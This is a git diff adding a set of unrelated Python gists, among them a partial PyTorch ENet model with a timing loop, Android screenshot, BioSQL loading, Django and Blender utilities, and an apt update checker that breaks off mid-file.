diff --git a/hard-gists/19154831c2049a69e8d53dea8cf3e744/._snippet.py b/hard-gists/19154831c2049a69e8d53dea8cf3e744/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/19154831c2049a69e8d53dea8cf3e744/._snippet.py differ
diff --git a/hard-gists/19154831c2049a69e8d53dea8cf3e744/snippet.py b/hard-gists/19154831c2049a69e8d53dea8cf3e744/snippet.py
new file mode 100644
index 00000000..5139babd
--- /dev/null
+++ b/hard-gists/19154831c2049a69e8d53dea8cf3e744/snippet.py
@@ -0,0 +1,641 @@
+#!/usr/bin/env python
+"""
+A quick, partial implementation of ENet (https://arxiv.org/abs/1606.02147) using PyTorch.
+The original Torch ENet implementation can process a 480x360 image in ~12 ms (on a P2 AWS
+instance).  TensorFlow takes ~35 ms.  The PyTorch implementation takes ~25 ms, an improvement
+over TensorFlow, but worse than the original Torch.
+"""
+
+from __future__ import absolute_import
+
+
+import sys
+import time
+
+
+import torch
+import torch.optim
+import torch.nn as nn
+import torch.nn.functional as F
+from torch.autograd import Variable
+
+
+ENCODER_PARAMS = [
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 16,
+            'output_channels': 64,
+            'downsample': True,
+            'dropout_prob': 0.01
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 64,
+            'output_channels': 64,
+            'downsample': False,
+            'dropout_prob': 0.01
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 64,
+            'output_channels': 64,
+            'downsample': False,
+            'dropout_prob': 0.01
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 64,
+            'output_channels': 64,
+            'downsample': False,
+            'dropout_prob': 0.01
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 64,
+            'output_channels': 64,
+            'downsample': False,
+            'dropout_prob': 0.01
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 64,
+            'output_channels': 128,
+            'downsample': True,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        },
+        {
+            'internal_scale': 4,
+            'use_relu': True,
+            'asymmetric': False,
+            'dilated': False,
+            'input_channels': 128,
+            'output_channels': 128,
+            'downsample': False,
+            'dropout_prob': 0.1
+        }
+    ]
+
+
+DECODER_PARAMS = [
+        {
+            'input_channels': 128,
+            'output_channels': 128,
+            'upsample': False,
+            'pooling_module': None
+        },
+        {
+            'input_channels': 128,
+            'output_channels': 64,
+            'upsample': True,
+            'pooling_module': None
+        },
+        {
+            'input_channels': 64,
+            'output_channels': 64,
+            'upsample': False,
+            'pooling_module': None
+        },
+        {
+            'input_channels': 64,
+            'output_channels': 64,
+            'upsample': False,
+            'pooling_module': None
+        },
+        {
+            'input_channels': 64,
+            'output_channels': 16,
+            'upsample': True,
+            'pooling_module': None
+        },
+        {
+            'input_channels': 16,
+            'output_channels': 16,
+            'upsample': False,
+            'pooling_module': None
+        }
+    ]
+
+
+class InitialBlock(nn.Module):
+    def __init__(self):
+        super().__init__()
+
+        self.conv = nn.Conv2d(
+            3, 13, (3, 3),
+            stride=2, padding=1, bias=True)
+        self.pool = nn.MaxPool2d(2, stride=2)
+        self.batch_norm = nn.BatchNorm2d(16, eps=1e-3)
+
+    def forward(self, input):
+        output = torch.cat([self.conv(input), self.pool(input)], 1)
+        output = self.batch_norm(output)
+        return F.relu(output)
+
+
+class EncoderMainPath(nn.Module):
+    def __init__(self, internal_scale=None, use_relu=None, asymmetric=None, dilated=None, input_channels=None, output_channels=None, downsample=None, dropout_prob=None):
+        super().__init__()
+
+        internal_channels = output_channels // internal_scale
+        input_stride = downsample and 2 or 1
+
+        self.__dict__.update(locals())
+        del self.self
+
+        self.input_conv = nn.Conv2d(
+            input_channels, internal_channels, input_stride,
+            stride=input_stride, padding=0, bias=False)
+
+        self.input_batch_norm = nn.BatchNorm2d(internal_channels, eps=1e-03)
+
+        # TODO: use dilated and asymmetric convolutions, as in the
+        # original implementation.  For now just add a 3x3 convolution.
+        self.middle_conv = nn.Conv2d(
+            internal_channels, internal_channels, 3,
+            stride=1, padding=1, bias=True)
+
+        self.middle_batch_norm = nn.BatchNorm2d(internal_channels, eps=1e-03)
+
+        self.output_conv = nn.Conv2d(
+            internal_channels, output_channels, 1,
+            stride=1, padding=0, bias=False)
+
+        self.output_batch_norm = nn.BatchNorm2d(output_channels, eps=1e-03)
+
+        self.dropout = nn.Dropout2d(dropout_prob)
+
+
+    def forward(self, input):
+        output = self.input_conv(input)
+
+        output = self.input_batch_norm(output)
+
+        output = F.relu(output)
+
+        output = self.middle_conv(output)
+
+        output = self.middle_batch_norm(output)
+
+        output = F.relu(output)
+
+        output = self.output_conv(output)
+
+        output = self.output_batch_norm(output)
+
+        output = self.dropout(output)
+        
+        return output
+
+
+class EncoderOtherPath(nn.Module):
+    def __init__(self, internal_scale=None, use_relu=None, asymmetric=None, dilated=None, input_channels=None, output_channels=None, downsample=None, **kwargs):
+        super().__init__()
+
+        self.__dict__.update(locals())
+        del self.self
+
+        if downsample:
+            self.pool = nn.MaxPool2d(2, stride=2, return_indices=True)
+
+    def forward(self, input):
+        output = input
+
+        if self.downsample:
+            output, self.indices = self.pool(input)
+
+        if self.output_channels != self.input_channels:
+            new_size = [1, 1, 1, 1]
+            new_size[1] = self.output_channels // self.input_channels
+            output = output.repeat(*new_size)
+
+        return output
+
+
+class EncoderModule(nn.Module):
+    def __init__(self, **kwargs):
+        super().__init__()
+        self.main = EncoderMainPath(**kwargs)
+        self.other = EncoderOtherPath(**kwargs)
+
+    def forward(self, input):
+        main = self.main(input)
+        other = self.other(input)
+        return F.relu(main + other)
+
+
+class Encoder(nn.Module):
+    def __init__(self, params, nclasses):
+        super().__init__()
+        self.initial_block = InitialBlock()
+
+        self.layers = []
+        for i, params in enumerate(params):
+            layer_name = 'encoder_{:02d}'.format(i)
+            layer = EncoderModule(**params)
+            super().__setattr__(layer_name, layer)
+            self.layers.append(layer)
+
+        self.output_conv = nn.Conv2d(
+            128, nclasses, 1,
+            stride=1, padding=0, bias=True)
+
+    def forward(self, input, predict=False):
+        output = self.initial_block(input)
+
+        for layer in self.layers:
+            output = layer(output)
+
+        if predict:
+            output = self.output_conv(output)
+
+        return output
+
+
+class DecoderMainPath(nn.Module):
+    def __init__(self, input_channels=None, output_channels=None, upsample=None, pooling_module=None):
+        super().__init__()
+
+        internal_channels = output_channels // 4
+        input_stride = 2 if upsample is True else 1
+
+        self.__dict__.update(locals())
+        del self.self
+
+        self.input_conv = nn.Conv2d(
+            input_channels, internal_channels, 1,
+            stride=1, padding=0, bias=False)
+
+        self.input_batch_norm = nn.BatchNorm2d(internal_channels, eps=1e-03)
+
+        if not upsample:
+            self.middle_conv = nn.Conv2d(
+                internal_channels, internal_channels, 3,
+                stride=1, padding=1, bias=True)
+        else:
+            self.middle_conv = nn.ConvTranspose2d(
+                internal_channels, internal_channels, 3,
+                stride=2, padding=1, output_padding=1,
+                bias=True)
+
+        self.middle_batch_norm = nn.BatchNorm2d(internal_channels, eps=1e-03)
+
+        self.output_conv = nn.Conv2d(
+            internal_channels, output_channels, 1,
+            stride=1, padding=0, bias=False)
+
+        self.output_batch_norm = nn.BatchNorm2d(output_channels, eps=1e-03)
+
+    def forward(self, input):
+        output = self.input_conv(input)
+
+        output = self.input_batch_norm(output)
+
+        output = F.relu(output)
+
+        output = self.middle_conv(output)
+
+        output = self.middle_batch_norm(output)
+
+        output = F.relu(output)
+
+        output = self.output_conv(output)
+
+        output = self.output_batch_norm(output)
+
+        return output
+
+
+class DecoderOtherPath(nn.Module):
+    def __init__(self, input_channels=None, output_channels=None, upsample=None, pooling_module=None):
+        super().__init__()
+
+        self.__dict__.update(locals())
+        del self.self
+
+        if output_channels != input_channels or upsample:
+            self.conv = nn.Conv2d(
+                input_channels, output_channels, 1,
+                stride=1, padding=0, bias=False)
+            self.batch_norm = nn.BatchNorm2d(output_channels, eps=1e-03)
+            if upsample and pooling_module:
+                self.unpool = nn.MaxUnpool2d(2, stride=2, padding=0)
+
+    def forward(self, input):
+        output = input
+
+        if self.output_channels != self.input_channels or self.upsample:
+            output = self.conv(output)
+            output = self.batch_norm(output)
+            if self.upsample and self.pooling_module:
+                output_size = list(output.size())
+                output_size[2] *= 2
+                output_size[3] *= 2
+                output = self.unpool(
+                    output, self.pooling_module.indices,
+                    output_size=output_size)
+
+        return output
+
+
+class DecoderModule(nn.Module):
+    def __init__(self, **kwargs):
+        super().__init__()
+
+        self.main = DecoderMainPath(**kwargs)
+        self.other = DecoderOtherPath(**kwargs)
+                                                    
+    def forward(self, input):
+        main = self.main(input)
+        other = self.other(input)
+        return F.relu(main + other)
+
+
+class Decoder(nn.Module):
+    def __init__(self, params, nclasses, encoder):
+        super().__init__()
+
+        self.encoder = encoder
+
+        self.pooling_modules = []
+
+        for mod in self.encoder.modules():
+            try:
+                if mod.other.downsample:
+                    self.pooling_modules.append(mod.other)
+            except AttributeError:
+                pass
+
+        self.layers = []
+        for i, params in enumerate(params):
+            if params['upsample']:
+                params['pooling_module'] = self.pooling_modules.pop(-1)
+            layer = DecoderModule(**params)
+            self.layers.append(layer)
+            layer_name = 'decoder{:02d}'.format(i)
+            super().__setattr__(layer_name, layer)
+
+        self.output_conv = nn.ConvTranspose2d(
+                16, nclasses, 2,
+                stride=2, padding=0, output_padding=0, bias=True)
+
+    def forward(self, input):
+        output = self.encoder(input, predict=False)
+
+        for layer in self.layers:
+            output = layer(output)
+
+        output = self.output_conv(output)
+
+        return output
+
+
+class ENet(nn.Module):
+    def __init__(self, nclasses):
+        super().__init__()
+
+        self.encoder = Encoder(ENCODER_PARAMS, nclasses)
+        self.decoder = Decoder(DECODER_PARAMS, nclasses, self.encoder)
+
+    def forward(self, input, only_encode=False, predict=True):
+        if only_encode:
+            return self.encoder.forward(input, predict=predict)
+        else:
+            return self.decoder.forward(input)
+
+
+if __name__ == '__main__':
+    nclasses = 15
+    train = True
+    niter = 100
+    times = torch.FloatTensor(niter)
+
+    batch_size = 1
+    nchannels = 3
+    height = 360
+    width = 480
+
+    model = ENet(nclasses)
+    loss = nn.NLLLoss2d()
+    softmax = nn.Softmax()
+
+    model.cuda()
+    loss.cuda()
+    softmax.cuda()
+
+    optimizer = torch.optim.Adam(model.parameters())
+
+    for i in range(niter):
+        x = torch.FloatTensor(
+            torch.randn(batch_size, nchannels, height, width))
+        y = torch.LongTensor(batch_size, height, width)
+        y.random_(nclasses)
+
+        x.pin_memory()
+        y.pin_memory()
+
+        input = Variable(x.cuda(async=True))
+        target = Variable(y.cuda(async=True))
+
+        sys.stdout.write('\r{}/{}'.format(i, niter))
+
+        start = time.time()
+
+        if train:
+            optimizer.zero_grad()
+            model.train()
+        else:
+            model.eval()
+
+        output = model(input)
+
+        if train:
+            loss_ = loss.forward(output, target)
+            loss_.backward()
+            optimizer.step()
+        else:
+            output_2d = output.view(height * width, nclasses)
+            pred = softmax(output_2d).view(output.size())
+
+        times[i] = time.time() - start
+    sys.stdout.write('\n')
+
+    print('average time per image {:04f} sec'.format(
+        times.mean()))
diff --git a/hard-gists/1918389/._snippet.py b/hard-gists/1918389/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1918389/._snippet.py differ
diff --git a/hard-gists/1918389/snippet.py b/hard-gists/1918389/snippet.py
new file mode 100644
index 00000000..7ee7c9ae
--- /dev/null
+++ b/hard-gists/1918389/snippet.py
@@ -0,0 +1,17 @@
+# how to run: monkerunner snapshot.py [filename]
+import datetime, sys
+from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice
+
+if len(sys.argv) > 1:
+    filename = sys.argv[1]
+    if not filename.endswith(".png"):
+        filename = "%s.png" % filename
+else:
+    now = datetime.datetime.now()
+    filename = now.strftime("device-%Y-%m-%d-%H%M%S.png")
+
+print "Taking snapshot: %s" % filename
+  
+device = MonkeyRunner.waitForConnection()
+result = device.takeSnapshot()
+result.writeToFile(filename,'png')
diff --git a/hard-gists/1919511/._snippet.py b/hard-gists/1919511/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1919511/._snippet.py differ
diff --git a/hard-gists/1919511/snippet.py b/hard-gists/1919511/snippet.py
new file mode 100644
index 00000000..038a5555
--- /dev/null
+++ b/hard-gists/1919511/snippet.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+"""Load a genbankfile into BioSQL
+
+You will need to adjust the database parameters and have a BioSQL database set
+up. See:
+
+http://biopython.org/wiki/BioSQL
+
+adapted from bchapmanns github script
+https://github.com/chapmanb/bcbb > gff > Scripts > gff > gff_to_biosql.py
+
+Depending on the size of the sequences being loaded, you may also get errors on
+loading very large chromosome sequences. Updating these options can help:
+
+    set global max_allowed_packet=1000000000;
+    set global net_buffer_length=1000000;
+
+Usage:
+    gb_to_biosql.py <genbank file>
+"""
+
+from __future__ import with_statement
+import sys
+from BioSQL import BioSeqDatabase
+from Bio import SeqIO
+
+
+biodb_name = str(sys.argv[1])[:4]
+
+def main(gbfile, length=10000):
+    driver = "MySQLdb"
+    user   = "root"
+    passwd = ""
+    host   = "localhost"
+    dbname = "bioseqdb"
+    
+    print "Parsing Genbank file sequence file...."
+    with open(gbfile) as gb_handle:
+        records = list(SeqIO.parse(gb_handle, "genbank"))
+    print "Sorting by size and name......."
+    longrecords = [record for record in records if len(record) > length]
+    longrecords.sort(key=lambda x: x.name) #sort by name
+    
+    print "Writing to BioSQL database..."
+    server = BioSeqDatabase.open_database(driver=driver, user=user,
+            passwd=passwd, host=host, db=dbname)
+    
+    try:
+        if biodb_name not in server.keys():
+            server.new_database(biodb_name)
+        else:
+            server.remove_database(biodb_name)
+            server.adaptor.commit()
+            server.new_databse(biodb_name)
+        db = server[biodb_name]
+        db.load(longrecords)
+        server.adaptor.commit()
+    except:
+        server.adaptor.rollback()
+        raide
+
+if __name__ == "__main__":
+    if  len(sys.arg) !=2:
+        print __doc__
+        sys.exit()
+    main(sys.argv[1])
\ No newline at end of file
diff --git a/hard-gists/191d15e28c39246a2525/._snippet.py b/hard-gists/191d15e28c39246a2525/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/191d15e28c39246a2525/._snippet.py differ
diff --git a/hard-gists/191d15e28c39246a2525/snippet.py b/hard-gists/191d15e28c39246a2525/snippet.py
new file mode 100644
index 00000000..2269630f
--- /dev/null
+++ b/hard-gists/191d15e28c39246a2525/snippet.py
@@ -0,0 +1,63 @@
+from django.conf import settings
+import requests
+from requests.auth import HTTPBasicAuth
+
+
+class UnsupportedFormat(requests.HTTPError):
+    pass
+
+
+class Client(object):
+    def __init__(self):
+        self.client_id = settings.NOTUBE_CLIENT_ID
+        self.client_secret = settings.NOTUBE_CLIENT_SECRET
+        self.domain = settings.NOTUBE_DOMAIN
+
+    def _request(self, endpoint, method, **kwargs):
+        req_kwargs = {
+            'auth': HTTPBasicAuth(self.client_id, self.client_secret),
+        }
+        if method == 'get':
+            req_kwargs['params'] = kwargs
+        else:
+            req_kwargs['data'] = kwargs
+
+        r = requests.request(method, "http://%s/api/%s" % (self.domain, endpoint), **req_kwargs)
+        r.raise_for_status()
+        return r.json()
+
+    def create_upload(self, filename):
+        try:
+            return self._request('upload', 'post', filename=filename)
+        except requests.HTTPError, e:
+            if e.response.status_code == 400:
+                raise UnsupportedFormat(e)
+            raise e
+
+    def complete_upload(self, upload_id, notification_url):
+        return self._request("upload/%s/complete" % upload_id, 'post', notification=notification_url)
+
+    def upload(self, upload_id):
+        return self._request("upload/%s" % upload_id, 'get')
+
+    def embed_url(self, id):
+        return "http://%s/media/%s" % (self.domain, id)
+
+    def delete_task(self, task_id):
+        return self._request("task/%s" % task_id, 'delete')
+
+    def create_task(self, url, notification_url):
+        return self._request('task', 'post', url=url, notification=notification_url)
+
+    def resubmit_task(self, task_id, url=None, notification_url=None):
+        return self._request("task/%s/resubmit" % task_id, 'post', url=url, notification=notification_url)
+
+    def notify_task(self, task_id, notification_url=None):
+        return self._request("task/%s/notify" % task_id, 'post', notification=notification_url)
+
+    def task(self, task_id):
+        return self._request("task/%s" % task_id, 'get')
+
+    def task_list(self, **kwargs):
+        return self._request("task", 'get', **kwargs)
+
diff --git a/hard-gists/1920535/._snippet.py b/hard-gists/1920535/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1920535/._snippet.py differ
diff --git a/hard-gists/1920535/snippet.py b/hard-gists/1920535/snippet.py
new file mode 100644
index 00000000..850ea621
--- /dev/null
+++ b/hard-gists/1920535/snippet.py
@@ -0,0 +1,21 @@
+"""
+Sorl Thumbnail Engine that accepts background color
+---------------------------------------------------
+
+Created on Sunday, February 2012 by Yuji Tomita
+"""
+from PIL import Image, ImageColor
+from sorl.thumbnail.engines.pil_engine import Engine
+
+
+class Engine(Engine):
+	def create(self, image, geometry, options):
+		thumb = super(Engine, self).create(image, geometry, options)
+		if options.get('background'):		
+			try:
+				background = Image.new('RGB', thumb.size, ImageColor.getcolor(options.get('background'), 'RGB'))
+				background.paste(thumb, mask=thumb.split()[3]) # 3 is the alpha of an RGBA image.
+				return background
+			except Exception, e:
+				return thumb
+		return thumb
\ No newline at end of file
diff --git a/hard-gists/1927a29f642593861afc/._snippet.py b/hard-gists/1927a29f642593861afc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1927a29f642593861afc/._snippet.py differ
diff --git a/hard-gists/1927a29f642593861afc/snippet.py b/hard-gists/1927a29f642593861afc/snippet.py
new file mode 100644
index 00000000..e87a3640
--- /dev/null
+++ b/hard-gists/1927a29f642593861afc/snippet.py
@@ -0,0 +1,12 @@
+#!/usr/bin/env python
+import numpy as np
+import scipy.spatial.distance
+
+if __name__ == '__main__':
+    x = np.array([1, 1, 1, 1, 1])
+    y = np.array([1, 0, 1, 0, 1])
+    z = np.array([0, 1, 0, 0, 0])
+
+    print 1 - scipy.spatial.distance.cosine(x, y)
+    print 1 - scipy.spatial.distance.cosine(y, z)
+    print 1 - scipy.spatial.distance.cosine(z, x)
\ No newline at end of file
diff --git a/hard-gists/1928063/._snippet.py b/hard-gists/1928063/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1928063/._snippet.py differ
diff --git a/hard-gists/1928063/snippet.py b/hard-gists/1928063/snippet.py
new file mode 100644
index 00000000..72267230
--- /dev/null
+++ b/hard-gists/1928063/snippet.py
@@ -0,0 +1,30 @@
+"""
+Capture contents of block into context
+--------------------------------------
+
+Use case: variable accessing based on current variable values.
+
+{% capture foo %}{{ foo.value }}-suffix{% endcapture %}
+{% if foo in bar %}{% endif %}
+
+Created on Monday, February 2012 by Yuji Tomita
+"""
+from django import template
+
+register = template.Library()
+
+@register.tag
+def capture(parser, token):
+    nodelist = parser.parse(('endcapture',))
+    parser.delete_first_token()
+    varname = token.contents.split()[1]
+    return CaptureNode(nodelist, varname)
+
+class CaptureNode(template.Node):
+    def __init__(self, nodelist, varname):
+        self.nodelist = nodelist
+        self.varname = varname
+
+    def render(self, context):
+        context[self.varname] = self.nodelist.render(context)
+        return ''
\ No newline at end of file
diff --git a/hard-gists/19284bd220165758a0c953ae25108b6b/._snippet.py b/hard-gists/19284bd220165758a0c953ae25108b6b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/19284bd220165758a0c953ae25108b6b/._snippet.py differ
diff --git a/hard-gists/19284bd220165758a0c953ae25108b6b/snippet.py b/hard-gists/19284bd220165758a0c953ae25108b6b/snippet.py
new file mode 100644
index 00000000..a6fb8d62
--- /dev/null
+++ b/hard-gists/19284bd220165758a0c953ae25108b6b/snippet.py
@@ -0,0 +1,146 @@
+import bpy
+import sys
+from mathutils import Vector
+import numpy as np
+
+class ConwayGOL_2D:
+    def __init__(self, N):
+        """
+        2D Conway Game of Life
+        :param N: grid side size (resulting grid will be a NxN matrix)
+        """
+        self.N = N
+        self.grid = np.random.choice(2, (N,N))
+    
+    def update(self):
+        """
+        Update status of the grid
+        """
+        tmpGrid = self.grid.copy()
+        for i in range(self.N):
+            for j in range(self.N):
+                neighbours = self.grid[max(0, i-1):min(i+2,self.N),max(0, j-1):min(j+2,self.N)].sum()
+                neighbours -= self.grid[i, j]
+                if self.grid[i, j] == 1:
+                    if neighbours > 3 or neighbours < 2:
+                        tmpGrid[i, j] = 0
+                elif neighbours == 3:
+                    tmpGrid[i, j] = 1
+        self.grid = tmpGrid
+
+#######################################
+#           GENERATORS                #
+#######################################
+# generate and add an object with given properties to the scene
+
+def suzanne_generator(size, x, y, z):
+    bpy.ops.mesh.primitive_monkey_add(
+                        radius = size,
+                        location = (x*2, y*2, z))
+
+def cube_generator(cube_side, x, y, z):
+    bpy.ops.mesh.primitive_cube_add(
+                        radius = cube_side,
+                        location = (x*2, y*2, z))
+
+def icosphere_generator(size, subdivisions, x, y, z):
+    bpy.ops.mesh.primitive_ico_sphere_add(
+                        subdivisions = subdivisions,
+                        size = size,
+                        location = (x*2, y*2, z))
+
+
+#######################################
+#             UPDATERS                #
+#######################################
+# define behavior for a Blender object based on gol grid value
+
+# Hides object (both view and render)
+def object_updater_hide(obj, grid_val, keyframe=True):
+    obj.hide = not grid_val
+    obj.hide_render = obj.hide
+    if keyframe:
+        obj.keyframe_insert("hide")
+        obj.keyframe_insert("hide_render")
+
+# shrink object when grid values is zero
+def object_updater_scale(obj, grid_val, scale_factor=0.8, keyframe=True):
+    origin_scale = Vector((1.0, 1.0, 1.0))
+    # grid value 1, object should end up with original size
+    if grid_val:
+        # skip all (keyframing too) if already ok, otherwise set original size
+        if obj.scale == origin_scale:
+            return
+        else:
+            obj.scale = origin_scale
+    # grid value 0, object should end up scaled
+    else:
+        # skip all (keyframing too) if already ok, otherwise set scaled size
+        if obj.scale == origin_scale*scale_factor:
+            return
+        else:
+            obj.scale = origin_scale*scale_factor
+    if keyframe:
+        obj.keyframe_insert("scale")
+
+#######################################
+#            UTIL METHODS             #
+#######################################
+
+# create grid of objects on current scene
+# The object generator is responsible for the creation of a single object instance
+def create_grid(gol, obj_generator):
+    obj_grid = []
+    for i in range(gol.N):
+        row = []
+        for j in range(gol.N):
+            obj_generator(i, j, 0)
+            row.append(bpy.context.scene.objects.active)
+        obj_grid.append(row)
+    return obj_grid
+
+# update grid of Blender objects to reflect gol status, then update gol.
+def update_grid(obj_grid, gol, obj_updater):
+    for i in range(gol.N):
+        for j in range(gol.N):
+            obj_updater(obj_grid[i][j], gol.grid[i, j])
+    gol.update()
+
+# handler called at every frame change
+def frame_handler(scene, grid, gol, obj_updater, num_frames_change):
+    frame = scene.frame_current
+    n = frame % num_frames_change
+    if n == 0:
+        update_grid(grid, gol, obj_updater)
+
+# delete all objects of current scene (un-hide all hidden ones first)
+def delete_all():
+    for obj in bpy.data.objects:
+        obj.hide = False
+        # select/delete only meshes
+        obj.select = obj.type == 'MESH'
+    bpy.ops.object.delete(use_global=True)
+
+def main(_):
+    num_frames_change = 2
+    grid_side = 5
+    obj_size = 0.7
+    subdivisions = 10
+    scale_factor=0.2
+
+    #obj_generator = lambda x,y,z:icosphere_generator(obj_size, subdivisions, x, y, z)
+    obj_generator = lambda x,y,z:cube_generator(obj_size, x, y, z)
+    #obj_updater = object_updater_hide
+    obj_updater = lambda obj,grid:object_updater_scale(obj,grid, scale_factor=scale_factor)
+
+    delete_all()
+    gol = ConwayGOL_2D(grid_side)
+    obj_grid = create_grid(gol, obj_generator)
+
+    bpy.app.handlers.frame_change_pre.clear()
+    bpy.app.handlers.frame_change_pre.append(lambda x : frame_handler(x, obj_grid, gol,
+                                                                   obj_updater,
+                                                                   num_frames_change))
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file
diff --git a/hard-gists/19317d3e4b9a58f2355e7643040d483a/._snippet.py b/hard-gists/19317d3e4b9a58f2355e7643040d483a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/19317d3e4b9a58f2355e7643040d483a/._snippet.py differ
diff --git a/hard-gists/19317d3e4b9a58f2355e7643040d483a/snippet.py b/hard-gists/19317d3e4b9a58f2355e7643040d483a/snippet.py
new file mode 100644
index 00000000..1956f51b
--- /dev/null
+++ b/hard-gists/19317d3e4b9a58f2355e7643040d483a/snippet.py
@@ -0,0 +1,114 @@
+#!/usr/bin/python3
+"""
+This script lists all APT package updates currently available for your system
+along with the version numbers of the old & new packages.  It is derived from
+``/usr/lib/update-notifier/apt-check`` in the ``update-notifier-common``
+package on Ubuntu 14.04 (Trusty Tahr) and is made available under the same
+license (the GNU GPL v2).
+
+This script is know to work on Ubuntu Trusty and Xenial, and it should work on
+any recent version of Ubuntu with the ``python3-apt`` package installed.  If
+``python3-prettytable`` is also installed, it'll even work prettily!
+
+Output columns:
+
+- package name
+- installed version
+- update candidate version
+- 'S' if the update is a security update, '-' otherwise
+- 'P' if the update is a `phased update
+  <https://wiki.ubuntu.com/PhasedUpdates>`_, '-' otherwise
+"""
+
+__author__       = 'John Thorvald Wodder II'
+__author_email__ = 'apt-check@varonathe.org'
+
+from   collections import namedtuple
+import platform
+import apt
+import apt_pkg
+
+distro = platform.linux_distribution()[2]
+
+security_pockets = [
+    ("Ubuntu",    distro + "-security"),
+    ("gNewSense", distro + "-security"),
+    ("Debian",    distro + "-updates"),
+]
+
+class Upgrade(namedtuple('Upgrade', 'package installed candidate security phased')):
+    @property
+    def flags(self):
+        return ('S' if self.security else '-') + ('P' if self.phased else '-')
+
+def isSecurityUpgrade(ver):
+    """ Check if the given version is a security update (or masks one) """
+    return any((f.origin, f.archive) in security_pockets
+               for f,_ in ver.file_list)
+
+def apt_check():
+    apt_pkg.init()
+    cache = apt_pkg.Cache(apt.progress.base.OpProgress())
+    depcache = apt_pkg.DepCache(cache)
+    if depcache.broken_count > 0:
+        raise SystemExit("Error: BrokenCount > 0")
+    try:
+        from UpdateManager.Core.UpdateList import UpdateList
+        ul = UpdateList(None)
+    except ImportError:
+        ul = None
+    # This mimics an upgrade but will never remove anything
+    depcache.upgrade(True)
+    if depcache.del_count > 0:
+        # Unmark (clean) all changes from the given depcache
+        depcache.init()
